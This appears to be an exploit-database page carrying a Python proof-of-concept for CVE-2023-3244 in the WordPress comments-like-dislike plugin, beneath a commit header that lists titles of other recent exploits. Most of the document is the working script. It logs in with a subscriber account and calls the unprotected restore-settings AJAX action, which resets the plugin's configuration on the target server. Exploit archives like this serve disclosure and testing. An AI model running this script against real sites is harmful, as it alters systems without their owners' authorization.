9734fcef1e
12 changes to exploits/shellcodes/ghdb Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'DoS' Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure' FAQ Management System v1.0 - 'faq' SQL Injection Flashcard Quiz App v1.0 - 'card' SQL Injection Simple Inventory Management System v1.0 - 'email' SQL Injection comments-like-dislike < 1.2.0 - Authenticated (Subscriber+) Plugin Setting Reset Online Shopping System Advanced - Sql Injection taskhub 2.8.7 - SQL Injection IBM i Access Client Solutions v1.1.2 - 1.1.4_ v1.1.4.3 - 1.1.9.4 - Remote Credential Theft
62 lines
No EOL
3.1 KiB
Python
Executable file
62 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit Title: POC-CVE-2023-3244
|
|
# Date: 9/12/2023
|
|
# Exploit Author: Diaa Hanna
|
|
# Software Link: [download link if available]
|
|
# Version: <= 1.2.0 comments-like-dislike
|
|
# Tested on: 1.1.6 comments-like-dislike
|
|
# CVE : CVE-2023-3244
|
|
|
|
#References
|
|
#https://nvd.nist.gov/vuln/detail/CVE-2023-3244
|
|
|
|
|
|
#The Comments Like Dislike plugin for WordPress has been found to have a vulnerability that allows unauthorized modification of data. This vulnerability arises due to a missing capability check on the restore_settings function, which is called through an AJAX action. The vulnerability affects versions up to and including 1.2.0 of the plugin.
|
|
#This security flaw enables authenticated attackers with minimal permissions, such as subscribers, to reset the plugin's settings. It's important to note that this issue was only partially patched in version 1.2.0, as the nonce (a security measure) is still accessible to subscriber-level users.
|
|
#For more detailed information about this bug, you can refer to the National Vulnerability Database (NVD) website at [CVE-2023-3244](https://nvd.nist.gov/vuln/detail/CVE-2023-3244).
|
|
|
|
import requests
|
|
import argparse
|
|
import sys
|
|
from colorama import Fore
|
|
|
|
parser = argparse.ArgumentParser(prog='POC-CVE-2023-3244',description='This is a proof of concept for the CVE-2023-3244 it is an access control vulnerability in the restore_settings function ')
|
|
parser.add_argument('-u','--username',help='username of a user on wordpress with low privileges',required=True)
|
|
parser.add_argument('-p',"--password",help='password of a user on wordpress with low privileges',required=True)
|
|
parser.add_argument('--url',help='the url of the vulnerable server (with http or https)',required=True)
|
|
parser.add_argument('--nossl',help='disable ssl verification',action='store_true',required=False,default=False)
|
|
args=parser.parse_args()
|
|
|
|
#check if the domain ends with a '/' if not then add it
|
|
url=args.url
|
|
if url[-1] != '/':
|
|
url+='/'
|
|
|
|
|
|
|
|
wp_login = f'{url}wp-login.php'
|
|
wp_admin = f'{url}wp-admin/'
|
|
username = args.username
|
|
password = args.password
|
|
|
|
|
|
session=requests.Session()
|
|
#logging in
|
|
session.post(wp_login, headers={'Cookie':'wordpress_test_cookie=WP Cookie check'}, data={'log':username, 'pwd':password, 'wp-submit':'Log In',
|
|
'redirect_to':wp_admin, 'testcookie':'1' },verify=not (args.nossl))
|
|
#if failed to login
|
|
if len(session.cookies.get_dict()) == 2:
|
|
print(Fore.RED +"Error Logging In Check Your Username and Password And Try Again")
|
|
sys.exit(1)
|
|
|
|
#making the ajax request to wp_ajax_cld_settings_restore_action this line will call the restore_settings function
|
|
#the restore_settings function does not check the sufficient privileges of a logged-in user
|
|
#even a subscriber can use this POC
|
|
response=session.get(f"{wp_admin}/admin-ajax.php?action=cld_settings_restore_action",verify=not (args.nossl))
|
|
|
|
if response.text == "Settings restored successfully.Redirecting...":
|
|
print(Fore.GREEN +"exploited excuted successfully")
|
|
print(Fore.YELLOW+ "settings of the comments-like-dislike plugin should be defaulted on the server")
|
|
sys.exit(0)
|
|
else:
|
|
print(Fore.RED + "some error occurred please read the source code of the poc it isn't that long anyway")
|
|
sys.exit(1) |